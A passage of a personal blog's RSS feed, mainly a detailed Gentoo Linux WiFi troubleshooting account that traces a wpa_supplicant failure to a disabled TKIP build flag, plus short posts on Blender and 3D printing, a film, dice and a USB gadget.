   <a href="https://docs.octoprint.org/en/master/configuration/config_yaml.html#server">
    https://docs.octoprint.org/en/master/configuration/config_yaml.html#server
   </a>
  </p>
  <p>
   Reference list of timezones used in docker
   <a href="https://docs.diladele.com/docker/timezones.html">
    https://docs.diladele.com/docker/timezones.html
   </a>
  </p>
  <h3>
   Other useful links
  </h3>
  <p>
   <a href="https://www.abqlug.com/tutorials/installing-pi-hole-docker-compose-for-dummies/">
    https://www.abqlug.com/tutorials/installing-pi-hole-docker-compose-for-dummies/
   </a>
  </p>
  <p>
   <a href="https://pumpingco.de/blog/setup-your-raspberry-pi-for-docker-and-docker-compose/">
    https://pumpingco.de/blog/setup-your-raspberry-pi-for-docker-and-docker-compose/
   </a>
  </p>
  <p>
   <a href="https://jfrog.com/connect/post/install-docker-compose-on-raspberry-pi/">
    https://jfrog.com/connect/post/install-docker-compose-on-raspberry-pi/
   </a>
  </p>
  <p>
   <a href="https://www.baeldung.com/ops/docker-volumes">
    https://www.baeldung.com/ops/docker-volumes
   </a>
  </p>
</description>
</item>
<item>
<title>so long dnet stats</title>
<pubDate>Sun, 03 Apr 2022 20:41:39 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2022.html#p030420222041</link>
<description>
  <p>
   Due to Covid I have officially switched to
   <strong>
    FoldingAtHome
   </strong>
   to consume my CPU cycles.
  </p>
  <p>
   So this post will be the first where the creaky Perl script that scraped my stats has been replaced.
  </p>
  <p>
   Maybe in the
   <em>
    future
   </em>
   I can go back and help dnet.
  </p>
</description>
</item>
<item>
<title>flog markdown fix</title>
<pubDate>Sun, 03 Apr 2022 13:45:31 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2022.html#p030420221345</link>
<description>
  <h2>
   Oh look
  </h2>
  <p>
   <code>
    Markdown
   </code>
  </p>
  <p>
   <em>
    Highlighted
   </em>
   <strong>
    code
   </strong>
  </p>
  <blockquote>
   <p>
    Please mind our dust as we fiddle (while Rome burns)
   </p>
  </blockquote>
</description>
</item>
<item>
<title>Markdown takes over part 1</title>
<pubDate>Sat, 02 Apr 2022 23:03:18 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2022.html#p020420222303</link>
<description>
  <h2>
   Oh look
  </h2>
  <p>
   <code>
    Markdown
   </code>
  </p>
  <p>
   <em>
    Highlighted
   </em>
   <strong>
    code
   </strong>
  </p>
  <blockquote>
   <p>
    Please mind our dust as we fiddle (while Rome burns)
   </p>
  </blockquote>
</description>
</item>
<item>
<title>wifi in the wind - tale of woe</title>
<pubDate>Sat, 02 Apr 2022 22:30:40 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2022.html#p020420222230</link>
<description>
  <p>
   Let the tale of "
   <strong>
    WiFi in the wind
   </strong>
   " begin.
  </p>
  <p>
   No wifi, hmmm, reboot, still no wifi, restart services and poke around, still no wifi. Notice I am a bit behind on my kernel versions...
  </p>
  <p>
   Rebuild kernel and reboot, still no wifi!
  </p>
  <p>
   Other devices on the same wifi network were unaffected, so it has to be my machine.
  </p>
  <p>
   <strong>
    dmesg
   </strong>
   output
  </p>
  <pre><code>[   13.198493] r8169 0000:06:00.0 enp6s0: Link is Down
[   13.973094] wlp5s0: authenticate with de:ad:be:ef:ea:77
[   13.983449] wlp5s0: send auth to de:ad:be:ef:ea:77 (try 1/3)
[   14.044387] wlp5s0: authenticated
[   14.044660] wlp5s0: associate with de:ad:be:ef:ea:77 (try 1/3)
[   14.060440] wlp5s0: RX AssocResp from de:ad:be:ef:ea:77 (capab=0x1431 status=0 aid=1)
[   14.066047] wlp5s0: associated
[   14.066146] wlp5s0: Limiting TX power to 20 (20 - 0) dBm as advertised by de:ad:be:ef:ea:77
[   16.767315] r8169 0000:06:00.0 enp6s0: Link is Up - 1Gbps/Full - flow control rx/tx
[   16.767328] IPv6: ADDRCONF(NETDEV_CHANGE): enp6s0: link becomes ready
[   18.156560] wlp5s0: disassociated from de:ad:be:ef:ea:77 (Reason: 2=PREV_AUTH_NOT_VALID)
[   32.420430] wlp5s0: authenticate with de:ad:be:ef:ea:77
[   36.840058] wlp5s0: send auth to de:ad:be:ef:ea:77 (try 1/3)
[   37.795690] wlp5s0: send auth to de:ad:be:ef:ea:77 (try 2/3)
[   38.819714] wlp5s0: send auth to de:ad:be:ef:ea:77 (try 3/3)
[   39.775007] wlp5s0: authentication with de:ad:be:ef:ea:77 timed out
[   54.451376] wlp5s0: authenticate with de:ad:be:ef:ea:77
[   58.882067] wlp5s0: send auth to de:ad:be:ef:ea:77 (try 1/3)
[   59.766767] wlp5s0: send auth to de:ad:be:ef:ea:77 (try 2/3)
[   60.765040] wlp5s0: send auth to de:ad:be:ef:ea:77 (try 3/3)
[   61.763927] wlp5s0: authentication with de:ad:be:ef:ea:77 timed out
</code></pre>
  <p>
   <em>
    (MAC address blurred for your convenience)
   </em>
  </p>
  <p>
   The device seems to be working, but cannot associate with the access point
  </p>
  <p>
   <strong>
    iw event
   </strong>
   (during a wpa_supplicant restart)
  </p>
  <pre><code>wlp5s0 (phy #0): scan started
wlp5s0 (phy #0): scan finished: 2412 2417 2422 2427 2432 2437 2442 2447 2452 2457 2462 2467 2472, ""
wlp5s0: new station de:ad:be:ef:ea:77
wlp5s0: del station de:ad:be:ef:ea:77
wlp5s0 (phy #0): auth: timed out
wlp5s0 (phy #0): scan started
wlp5s0 (phy #0): scan finished: 2412 2417 2422 2427 2432 2437 2442 2447 2452 2457 2462 2467 2472, ""
wlp5s0: new station de:ad:be:ef:ea:77
wlp5s0: del station de:ad:be:ef:ea:77
wlp5s0 (phy #0): auth: timed out
wlp5s0 (phy #0): scan started
wlp5s0 (phy #0): scan finished: 2412 2417 2422 2427 2432 2437 2442 2447 2452 2457 2462 2467 2472, ""
wlp5s0: new station de:ad:be:ef:ea:77
wlp5s0: del station de:ad:be:ef:ea:77
wlp5s0 (phy #0): auth: timed out
wlp5s0 (phy #0): scan started
wlp5s0 (phy #0): scan finished: 2412 2417 2422 2427 2432 2437 2442 2447 2452 2457 2462 2467 2472, ""
wlp5s0: new station de:ad:be:ef:ea:77
wlp5s0: del station de:ad:be:ef:ea:77
</code></pre>
  <p>
   Same story. Scans, finds AP, cannot authenticate
  </p>
  <p>
   There now follows some of the varied commands I tried to get more information.
  </p>
  <pre><code>ip a
dmesg
rc-service wpa_supplicant restart
rc-service wpa_supplicant stop
wpa_supplicant -Dnl80211,wext -iwlp5s0 -c/etc/wpa_MY.conf -B
ifconfig wlp5s0
ifconfig wlp5s0 up
ifconfig wlp5s0
rmmod rtl8192ee
modprobe rtl8192ee
lsmod
ip a
rc-service wpa_supplicant restart
cat wpa_supplicant/wpa_supplicant.conf_no_countrycode 
cat wpa_supplicant/wpa_supplicant.conf
wpa_supplicant -Dnl80211,wext -iwlp5s0 -c /etc/wpa_supplicant/wpa_supplicant.conf -B
lspci -knn
lsmod
modprobe rtl8192ee
rc-service wpa_supplicant restart
ls /etc/modprobe.d/
iw dev wlp5s0
iw dev wlp5s0 connect
iw dev wlp5s0 connect MYSSID
ip a
iw dev wlp5s0 link
rc-service wpa_supplicant restart
iw dev wlp5s0 link
echo "options mac80211 probe_wait_ms=1500" &gt; /etc/modprobe.d/mac20811.conf
iw dev wlp5s0 connect MYSSID
dmesg
ip link show wlp5s0
ip link set wlp5s0 up
ip link show wlp5s0
iw wlp5s0 scan
rc-service wpa_supplicant stop
iw reg get
rfkill list
iw dev wlp5s0 set power_save off
iw event
rc-service wpa_supplicant restart
rc-service wpa_supplicant stop
rfkill list
killall wpa_supplicant
rc-service wpa_supplicant restart
iw event -f
ip link
iw reg get
iw reg set GB
dmesg
rc-service wpa_supplicant stop
wpa_supplicant -B -D nl80211 -i wlp5s0 -c /etc/wpa_supplicant/wpa_supplicant.conf_no_countrycode 
modprobe cfg80211
rc-service wpa_supplicant restart
</code></pre>
  <p>
   After all that (and a whole lot more) I created a large trip hazard and connected an ethernet cable.
  </p>
  <p>
   I wondered if I had been unlucky and had built the kernel a bit wrong. Well there a couple of differences in the
   <strong>
    .config
   </strong>
   files, but I wonder what apps I installed last?
  </p>
  <p>
   some
   <strong>
    eix
   </strong>
   log spelunking led to
   <code>
    net-wireless/wpa_supplicant
   </code>
   Oh! smoking gun!
  </p>
  <p>
   but wait. What's this in the
   <strong>
    dmesg
   </strong>
   ?
  </p>
  <pre><code>[    4.085869] rtl8192ee: Using firmware rtlwifi/rtl8192eefw.bin
[    4.086053] Loading firmware: rtlwifi/rtl8192eefw.bin
</code></pre>
  <p>
   (which is good)
  </p>
  <pre><code>[    0.396076] platform regulatory.0: Direct firmware load for regulatory.db failed with error -2
</code></pre>
  <p>
   (which is definitely
   <strong>
    BAD
   </strong>
   )
  </p>
  <p>
   Rebuilt the kernel paying attention to certain
   <a href="https://wiki.gentoo.org/wiki/Wifi#Kernel">
    RULES
   </a>
   in the gentoo doc about what has to be a module
  </p>
  <p>
   Thoughts at the time were that the issue is 
 - the regulatory database that defines the allowable WiFi channel frequencies for each country. 
 - WiFi device firmware
 - something called macsec that I noticed in the change logs of wpa_supplicant.
https://gitweb.gentoo.org/repo/gentoo.git/commit/?id=49c884d31f99241bb978d04afffdeff46364597d
  </p>
  <p>
   https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/networking_guide/sec-using-macsec
https://developers.redhat.com/blog/2017/06/28/whats-new-in-macsec-setting-up-macsec-using-wpa_supplicant-and-optionally-networkmanager#conclusion
  </p>
  <p>
   OK, doesn't appear to be MACsec
  </p>
  <p>
   Back to basics
  </p>
  <p>
   <code>
    dmesg
   </code>
  </p>
  <ul>
   <li>
    [x] card detected
   </li>
   <li>
    [x] wireless ON
   </li>
   <li>
    [x] firmware loaded and correct
   </li>
  </ul>
  <p>
   <code>
    lspci -knn
   </code>
  </p>
  <ul>
   <li>
    [x] card found
   </li>
   <li>
    [x] driver correct
   </li>
   <li>
    [x] module loaded
   </li>
  </ul>
  <p>
   <code>
    iw reg get
   </code>
  </p>
  <ul>
   <li>
    [x] country GB
   </li>
  </ul>
  <p>
   <code>
    rc-service wpa_supplicant restart
   </code>
  </p>
  <ul>
   <li>
    [x] no errors
   </li>
  </ul>
  <p>
   <code>
    iw event -f
   </code>
  </p>
  <ul>
   <li>
    just reports scans
   </li>
   <li>
    nothing new in dmesg
   </li>
  </ul>
  <p>
   <code>
    iw dev wlp5s0 connect MYSSID
   </code>
  </p>
  <ul>
   <li>
    [x] no errors
   </li>
  </ul>
  <p>
   <code>
    iw dev wlp5s0 get power_save
   </code>
  </p>
  <ul>
   <li>
    [x] Power save: off
   </li>
  </ul>
  <p>
   <code>
    rfkill list
   </code>
  </p>
  <ul>
   <li>
    [x] Soft blocked: no
   </li>
   <li>
    [x] Hard blocked: no
   </li>
  </ul>
  <p>
   <code>
    iw wlp5s0 scan
   </code>
  </p>
  <ul>
   <li>
    [x] successfully scans all APs in range and lists mine !
   </li>
  </ul>
  <p>
   Even removed
   <strong>
    /etc/modprobe.d/mac20811.conf
   </strong>
   (see above for random things I added)
  </p>
  <pre><code>wpa_supplicant -Dnl80211,wext -iwlp5s0 -c /etc/wpa_MY.conf -B
</code></pre>
  <p>
   no change
  </p>
  <p>
   Right about now I would like some errors to look up!
  </p>
  <p>
   Many hours of research and not seeing anything on
   <a href="https://forums.gentoo.org/">
    Gentoo forums
   </a>
  </p>
  <p>
   Found a
   <a href="https://github.com/lwfinger/rtl8192ee">
    custom driver for my card Realtek Semiconductor Co., Ltd. RTL8192EE PCIe Wireless Network Adapter
   </a>
  </p>
  <p>
   Which required manually building and then the disabling of the normal driver
  </p>
  <pre><code>echo "blacklist rtl8192ee" | tee -a /etc/modprobe.d/50-blacklist.conf
mkdir /etc/modules-load.d 
echo "8192ee" | tee -a /etc/modules-load.d/8192ee.conf
</code></pre>
  <p>
   reboot
  </p>
  <p>
   <code>
    lsmod
   </code>
   shows new driver in use
  </p>
  <p>
   no errors in
   <code>
    dmesg
   </code>
  </p>
  <p>
   But still no WiFi :(
  </p>
  <hr/>
  <h2>
   Time to dig even deeper.
  </h2>
  <p>
   <code>
    wpa_supplicant -Dnl80211,wext -iwlp5s0 -c /etc/wpa_supplicant/wpa_supplicant.conf -d
   </code>
  </p>
  <p>
   Runs in
   <strong>
    super debug mode
   </strong>
   (wish I had started with this, but no one seems to mention it in troubleshooting steps)
  </p>
  <p>
   hmmm lots of stuff including
  </p>
  <p>
   <code>
    nl80211: set_key failed; err=-22 Invalid argument
   </code>
  </p>
  <p>
   then
  </p>
  <pre><code>wlp5s0: 0: 18:35:d1:2f:7a:51 ssid='MYSSID' wpa_ie_len=26 rsn_ie_len=24 caps=0x1431 level=-44 freq=2412  wps
wpa_parse_wpa_ie_rsn: invalid group cipher 0x8 (000fac02)
wpa_parse_wpa_ie_rsn: invalid group cipher 0x8 (000fac02)
wlp5s0:    skip RSN IE - parse failed
wlp5s0:    skip WPA IE - GTK cipher mismatch
wlp5s0:    reject due to mismatch with WPA/WPA2
wlp5s0: No suitable network found
</code></pre>
  <p>
   Then
   <a href="http://lists.infradead.org/pipermail/hostap/2022-February/040209.html">
    this post
   </a>
   lead me to check the ciphers
  </p>
  <p>
   <code>
    iw phy0 info | grep -A9 'Supported Ciphers'
   </code>
  </p>
  <p>
   Which lead me down another rabbit hole rebuilding the kernel with various cryptographic bits enabled and disabled.
  </p>
  <p>
   More hours lost and nothing gained :(
  </p>
  <p>
   So its not the Kernel, the Driver or the card. That leaves the user-land software
   <strong>
    wpa_supplicant
   </strong>
  </p>
  <p>
   Oh, look another rabbit hole.
  </p>
  <p>
   Time to roll back to an earlier version of
   <strong>
    wpa_supplicant
   </strong>
  </p>
  <p>
   Unfortunately Gentoo has purged the older releases (presumably due to security concerns) so the usual
  </p>
  <p>
   <code>
    emerge --ask =net-wireless/wpa_supplicant-2.9-r8
   </code>
  </p>
  <p>
   Found no valid
   <em>
    atoms
   </em>
   . Yep, that was the message.
  </p>
  <p>
   But would you know it, there is a copy over at
   <code>
    /var/cache/distfiles/wpa_supplicant-2.9.tar.gz
   </code>
  </p>
  <p>
   But that is just the source code and not what Gentoo actually uses to do package installs. That is an
   <strong>
    ebuild
   </strong>
  </p>
  <p>
   So where is the
   <strong>
    ebuild
   </strong>
   file for
   <strong>
    wpa_supplicant 2.9
   </strong>
   ?
  </p>
  <p>
   Not on my system! It might be that my backup script removes all the old package information to save disk space.
  </p>
  <p>
   The
   <em>
    internet will provide
   </em>
   and all the historical ebuilds are in the source code repository.
  </p>
  <p>
   <code>
    wget "https://gitweb.gentoo.org/repo/gentoo.git/plain/net-wireless/wpa_supplicant/wpa_supplicant-2.9-r8.ebuild?id=7751088eb97abfc6ec4495b0622e3860c0cbdb3e"
   </code>
  </p>
  <p>
   Now I can compare that with the new 2.10-r1 ebuild
  </p>
  <p>
   <code>
    /var/db/repos/gentoo/net-wireless/wpa_supplicant/wpa_supplicant-2.10-r1.ebuild
   </code>
  </p>
  <p>
   There was very little to tell them apart, but I did notice
   <strong>
    NO_TKIP
   </strong>
   with a note
  </p>
  <p>
   <code>
    # Watch out, reversed logic
   </code>
  </p>
  <p>
   and some
   <strong>
    macsec
   </strong>
   stuff but, I had already ruled that out.
  </p>
  <p>
   Now, what is
   <strong>
    tkip
   </strong>
   ?
  </p>
  <p>
   <strong>
    USE flag notes
   </strong>
   , note
  </p>
  <p>
   <code>
    Add support for WPA TKIP (depreciated 2009)
   </code>
  </p>
  <p>
   So, unlikely to be needed for modern hardware then...?
  </p>
  <p>
   Enabling
   <strong>
    tkip
   </strong>
   and emerging created a working
   <strong>
    wpa_supplicant
   </strong>
   !!
  </p>
  <p>
   Job done, I will get my hat.
  </p>
  <p>
   But no, I wanted MOAR!
  </p>
  <p>
   And it was at this point I found I was not the only one.
  </p>
  <p>
   <a href="https://forums.gentoo.org/viewtopic-t-1147741-start-0.html">
    Gentoo forums post re wpa_supplicant issues
   </a>
  </p>
  <p>
   Side note: Normally when I have an issue with Gentoo it has been experienced and written up months before it hits me.
  </p>
  <p>
   So, in a sensible world
   <strong>
    tkip
   </strong>
   should be disabled by default. Which was the route Gentoo had gone down.
  </p>
  <p>
   But something in
   <strong>
    wpa_supplicant
   </strong>
   on my system connecting to my wireless access point wanted this enabled.
  </p>
  <p>
   What was that earlier about
   <em>
    reversed logic
   </em>
   ?
  </p>
  <p>
   The
   <strong>
    wpa_supplicant
   </strong>
   code uses a flag called
   <strong>
    CONFIG_NO_TKIP
   </strong>
   which has to be enabled to be activated ...
  </p>
  <p>
   When gentoo builds with no
   <strong>
    TKIP
   </strong>
   USE flag, I believe it explicitly sets the
   <strong>
    CONFIG_NO_TKIP
   </strong>
   to
   <strong>
    Y
   </strong>
   which is different from not setting it.
  </p>
  <p>
   The code in
   <strong>
    wpa_supplicant
   </strong>
   NEVER checks the value, it only checks it the flag is
   <strong>
    DEFINED/UNDEFINED
   </strong>
   not if it is
   <strong>
    Y/N
   </strong>
  </p>
  <h2>
   AGHhh! another rabbit hole. Will I ever get out ?
  </h2>
  <p>
   What if I could do the
   <strong>
    emerge
   </strong>
   and see the source code when changing the
   <strong>
    tkip
   </strong>
   USE flag?
  </p>
  <pre><code>FEATURES="keepwork" emerge -av wpa_supplicant
cp -R /var/tmp/portage/net-wireless/wpa_supplicant-2.10-r1 /tmp/wpa_supplicant-2.10-r1_no_tkip
</code></pre>
  <p>
   Now we are playing with power!
  </p>
  <p>
   Though you do have to clear up each time.
  </p>
  <p>
   <code>
    rm -fr /var/tmp/portage/net-wireless/wpa_supplicant-2.10-r1
   </code>
  </p>
  <p>
   then use
   <code>
    ufed
   </code>
   to change the
   <strong>
    tkip
   </strong>
   USE flag
  </p>
  <pre><code>FEATURES="keepwork" emerge -av wpa_supplicant
cp -R /var/tmp/portage/net-wireless/wpa_supplicant-2.10-r1 /tmp/wpa_supplicant-2.10-r1_tkip_flag_set
</code></pre>
  <p>
   <code>
    /tmp/wpa_supplicant-2.10-r1_no_tkip/work/wpa_supplicant-2.10/wpa_supplicant/wpa_supplicant -D nl80211 -i wlp5s0 -c /etc/wpa_supplicant/wpa_supplicant.conf -d
   </code>
  </p>
  <p>
   doesn't work and
  </p>
  <p>
   <code>
    /tmp/wpa_supplicant-2.10-r1_tkip_flag_set/work/wpa_supplicant-2.10/wpa_supplicant/wpa_supplicant -D nl80211 -i wlp5s0 -c /etc/wpa_supplicant/wpa_supplicant.conf -d
   </code>
  </p>
  <p>
   does work
  </p>
  <p>
   Would you believe that this account is highly cut-down? Well there were other rabbit holes and numerous dead ends that I felt added nothing to the already crowded party.
  </p>
  <p>
   and why did I blog/flog this lot when I could have just noted that enabling the
   <strong>
    tkip
   </strong>
   flag fixed it?
  </p>
  <p>
   There are lots and lots of very interesting and useful commands/instructions/paths etc and I want to be able to refer to them. Remember this and many pages are for me, not you.
  </p>
  <p>
   With that said, enjoy!
  </p>
</description>
</item>
<item>
<title>Blender 3 slips through my bash fingers once again</title>
<pubDate>Sun, 06 Mar 2022 22:33:12 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2022.html#p060320222233</link>
<description>
I posted this earlier, but it got eaten.

I wanted to do some more 3D printing and ran my ``getBlender.sh`` script and ...

Got the latest Blender release 2.93.8 :(

One day it would be nice to try Blender 3, but my script checks for the latest folders to be updated. 

Blender 3 seems to be updated first then fixes are back-ported to 2.9.

No time to fix at the moment and 2.93.8 works just fine for me :D
</description>
</item>
<item>
<title>glitches in the flog matrix</title>
<pubDate>Sun, 06 Mar 2022 22:29:00 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2022.html#p060320222229</link>
<description>
A few glitches in the ol'flog-eroony there. Switching to a Markdown based post system and the pre 2010 Perl code is a bit creaky :D
</description>
</item>
<item>
<title>THE BATMAN is relentless</title>
<pubDate>Sun, 06 Mar 2022 22:25:42 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2022.html#p060320222225</link>
<description>
Just saw __The Batman__, one word, _relentless_ doesn't feel like a 178min film, stunning. 

Recommended
</description>
</item>
<item>
<title>Relentless is THE BATMAN</title>
<pubDate>Sun, 06 Mar 2022 21:56:34 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2022.html#p060320222156</link>
<description>
Just saw __The Batman__, one word, _relentless_ doesn't feel like a 178min film, stunning. 

Recommended
</description>
</item>
<item>
<title>relentless is the Batman</title>
<pubDate>Sun, 06 Mar 2022 21:54:55 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2022.html#p060320222154</link>
<description>
Just saw __The Batman__, one word, _relentless_ doesn't feel like a 178min film, stunning. 

Recommended
</description>
</item>
<item>
<title>the relentless batman</title>
<pubDate>Sun, 06 Mar 2022 21:02:51 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2022.html#p060320222102</link>
<description>
Just saw __The Batman__, one word, _relentless_ doesn't feel like a 178min film, stunning. 

Recommended
</description>
</item>
<item>
<title>the batman is relentless</title>
<pubDate>Sun, 06 Mar 2022 18:47:57 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2022.html#p060320221847</link>
<description>
Just saw __The Batman__, one word, _relentless_ doesn't feel like a 178min film, stunning. 

Recommended
</description>
</item>
<item>
<title>blender 3 slips through my grip once again</title>
<pubDate>Sun, 06 Mar 2022 11:11:01 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2022.html#p060320221111</link>
<description>
Talking about 3D printing, I need to raise my monitor stand up by a couple of inches (no room for a monitor arm). Ideal custom print job.

Thought it would be a good time to update Blender, ran my getBlender script and ...

Got the latest copy of 2.93, which is what happened last time.

The script looks for the latest updates and as the important fixes are being back-ported from Blender 3 to 2.9 after they are tested the latest versions are nearly always the oldest (if that makes sense).

LOL

I don't need anything from Blender 3, but it would nice to experience :)
</description>
</item>
<item>
<title>three times happy update job learning and octopus</title>
<pubDate>Sat, 26 Feb 2022 21:46:53 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2022.html#p260220222146</link>
<description>
I finally finished my Level 4 Software Developer apprenticeship programme. After two years, almost to the day, I received my certificate, [em]Distinction[/em] across the board !
Very happy!

Got a new job, and they not only want me to work fully remote, sent me a brand new laptop but ... they asked me to WIPE WINDOWS and install [em]Linux[/em]!
Very happy!

Set up OctoPrint and have been printing more.
Very happy!

Lots of printing updates to follow.
</description>
</item>
<item>
<title>a short walk to a d20</title>
<pubDate>Wed, 02 Feb 2022 20:01:13 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2022.html#p020220222001</link>
<description>
Now I am a roll :p

[img alt="d and d dice from lucky bag"]images/D%20and%20D%20dice%20from%20lucky%20bag.jpg[/img]

I found there is a Geek Retreat 3 minutes walk from here and they were running learn Dungeons and Dragons!

So I learned (a bit) and played (a bit) and bought my first set of dice.

Yes, there is a D20 in there!
</description>
</item>
<item>
<title>four black disks and some spaghetti</title>
<pubDate>Wed, 02 Feb 2022 19:56:42 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2022.html#p020220221956</link>
<description>
It has finished [url title="printing"]Feb2022.html#p020220221825[/url] but, before we get to that...

This what I printed out a few days ago.
[img alt="3d printed disks for depth testing"]images/3d%20print%204xdisks%20testing%20depths%208mm6mm4mm2mm.jpg[/img]

Yes, it really is that exciting. Four black disks!

Firstly I only have black filament and secondly, I was testing the depth.

Each disk is 2 mm shorter than the last. 
8 mm
6 mm
4 mm
2 mm

The 2 mm printed fine and has a solid feel to it.

That is why the [url title="Text test print"]Feb2022.html#p020220221825[/url] has a base of 2 mm

and just to show you that not every print goes perfectly.
[img alt="3d printed disks that spaghettified"]images/3d%20print%20-%20spaghetti%20failure.jpg[/img]

After cancelling the print and removing the mess, I made no changes and the second attempt just worked *shrug*
</description>
</item>
<item>
<title>guess the thing with the things in it</title>
<pubDate>Wed, 02 Feb 2022 19:48:40 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2022.html#p020220221948</link>
<description>
and while that is [url title="printing"]Feb2022.html#p020220221825[/url] lets look at something I got for Christmas :D

But, what is it?
[img alt="Budi device closed"]images/budi_closed.jpg[/img]

If you guessed something to do with vaping then you are ... WRONG! (but in the same camp as most people I asked)

Here is a clue. You can pull the bottom bit out, like so.
[img alt="Budi device rear opened"]images/budi_rear_open.jpg[/img]

Still no idea? 

What if I open up the other end.
[img alt="Budi device opened showing micro SD card slots"]images/budi_open_showing_slots.jpg[/img]

FYI it doesn't come with the blue Micros SD card, I added that.

So you must know exactly what it is now?

Here is the other side
[img alt="Budi device opened showing connectors"]images/budi_open_showing_connectors.jpg[/img]

OK, now lets disassemble it
[img alt="Budi device opened and disassembled"]images/budi_disassembled.jpg[/img]

So its a ...

well, sort of ...

it has a mobile phone SIM tool
3x USB connectors of different types
a cable (that is fully detachable)
a number of slots for Micro SD cards 
and that weird tail thing that comes out the back

and there is something else that you cannot see in the photos.

a Micro SD card reader!

I love this thing and have been using it daily for so many different tasks.

Lets start with the funny tail. That is a phone stand. Nothing special but, it works and I have used it.

The cable is USB C - USB C and the 3x connectors are USB C - USB A, USB C - Micro USB and USB C - Lightning.

So with a USB C power supply I can charge just about any phone or Xbox controller :D

I can also use the Micro SD card reader on just about any device that supports connection.

AND ... it has all these handy slots to store Micro SD cards!

AND ... it has a nice metal case that feels reassuringly heavy.
</description>
</item>
<item>
<title>super slicing makes little difference to text</title>
<pubDate>Wed, 02 Feb 2022 18:25:38 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2022.html#p020220221825</link>
<description>
I wanted to confirm how small I could print 3D text.

Created a test using the [url title="previous techniques"]Feb2022.html#p010220222235[/url]

Here it is imported into the slicer. [url title="with the correct scale"]Feb2022.html#p020220221809[/url]
[img alt="screen capture Prusa slicer text size printing test"]images/blender%203d%20printing%20-%20text%20test%20prusa%20slicer%20unsliced.png[/img]

The Ender 3V2 has a number of detail levels.
From 0.28 mm - 0.08 mm

I tried slicing at

Draft 0.28 mm
[img alt="screen capture Prusa slicer text size printing test - draft sliced"]images/blender%203d%20printing%20-%20text%20test%20prusa%20slicer%20sliced%20draft%200-28.png[/img]


Normal 0.2 mm
[img alt="screen capture Prusa slicer text size printing test - normal sliced"]images/blender%203d%20printing%20-%20text%20test%20prusa%20slicer%20sliced%20normal%200-2.png[/img]

Super Detail 0.08 mm
[img alt="screen capture Prusa slicer text size printing test - super detail sliced"]images/blender%203d%20printing%20-%20text%20test%20prusa%20slicer%20sliced%20superdetail%200-08.png[/img]

and as you can see it made very little difference how the slicing affected the text.

I am currently attempting to print at Super Detail...

</description>
</item>
<item>
<title>how long is your gcode file name for the ender</title>
<pubDate>Wed, 02 Feb 2022 18:14:54 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2022.html#p020220221814</link>
<description>
Quick random observation about the Ender 3V2 3D printer.

The maximum length of gcode file name (including ".gcode") is 71 characters. 72 and above just don't show up when the card is in the device.

Ask me how I know :(
</description>
</item>
<item>
<title>exporting correctly scaled stls for prusa slicer from blender</title>
<pubDate>Wed, 02 Feb 2022 18:09:40 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2022.html#p020220221809</link>
<description>
and now for exporting for Prusa Slicer.

I had loads of problems export STL files from Blender. Prusa Slicer would always ask if I had accidentally exported in inches and what ever I said the scale was wrong :(
Manually scaling in Prusa Slicer only got me so far and all the advice online is different.

A quick trials and the results are in.

For the Export options from the File menu in Blender

Set the 
Include: Selection
Scale: 1.00
(Do not be tempted to check Scene Unit)

[img alt="screen capture blender export STL settings for 3d printing"]images/blender%203d%20printing%20-%20export%20from%20export.png[/img]

Or you can use the 3D-Print Toolkit, in which case all you need to set is
Apply Scale: UNCHECKED

[img alt="screen capture blender 3D-print toolkit export STL settings for 3d printing"]images/blender%203d%20printing%20-%20export%20from%20toolkit.png[/img]

Too many guides suggest changing the scale but in my tests the above selections work.

Your Mileage May Vary

</description>
</item>
<item>
<title>extruding projected text into blender meshes</title>
<pubDate>Tue, 01 Feb 2022 22:35:16 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2022.html#p010220222235</link>
<description>
One of the things I have been meaning to test on the 3D printer is text.

Adding text to an object in Blender would normally require a Boolean addition, but a cleaner way is ...

Create a new Text object and ensure that the Fill Mode is set to None

[img alt="Screen capture Blender Text settings fill mode none"]images/blender%203d%20printing%20-%20adding%20text%20-%20text%20fill%20none.png[/img]

this creates the cookie cutter letters we need for the next step.

Ensure the text is over your target object. Best to switch to an Orthographic view e.g. Top

Then select the Text first and then your target Mesh.

Enter Edit mode and from the Mesh menu Select Knife Project

[img alt="Screen capture Blender Mesh knife project"]images/blender%203d%20printing%20-%20adding%20text%20-%20mesh%20knife%20project.png[/img]

The letter text shapes will now be 'cut' into your mesh and you can hide/delete the original text object.

A little extrude and your text will be a relief upon your mesh.

And to check that you can print it, use the Measure tool.

[img alt="Screen capture Blender extrude and measure text"]images/blender%203d%20printing%20-%20adding%20text%20-%20extrude%20and%20measure.png[/img]

next time, exporting to Prusa Slicer
</description>
</item>
<item>
<title>setting up blender for 3d print modeling</title>
<pubDate>Tue, 01 Feb 2022 22:19:59 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2022.html#p010220222219</link>
<description>
I have finally found somewhere out of the way to setup my Ender 3v2 3D printer.

To set up Blender to do 3D modelling for printing you have to do absolutely nothing... But it pays to follow the options to make your life much easier.

The main one is Scene Units
Unit System: Metric
Unit Scale: 0.001
Length: Millimetres

[img alt="Screen capture Blender Scene Units for 3D printing"]images/blender%203d%20printing%20settings%20-%20scene%20measurements.png[/img]

This will tell Blender we are working on small things, but then requires some follow up settings.

The View tab needs to be updated with new Clipping values so we can zoom in and out sensibly. 
Clip Start: 0.1 mm
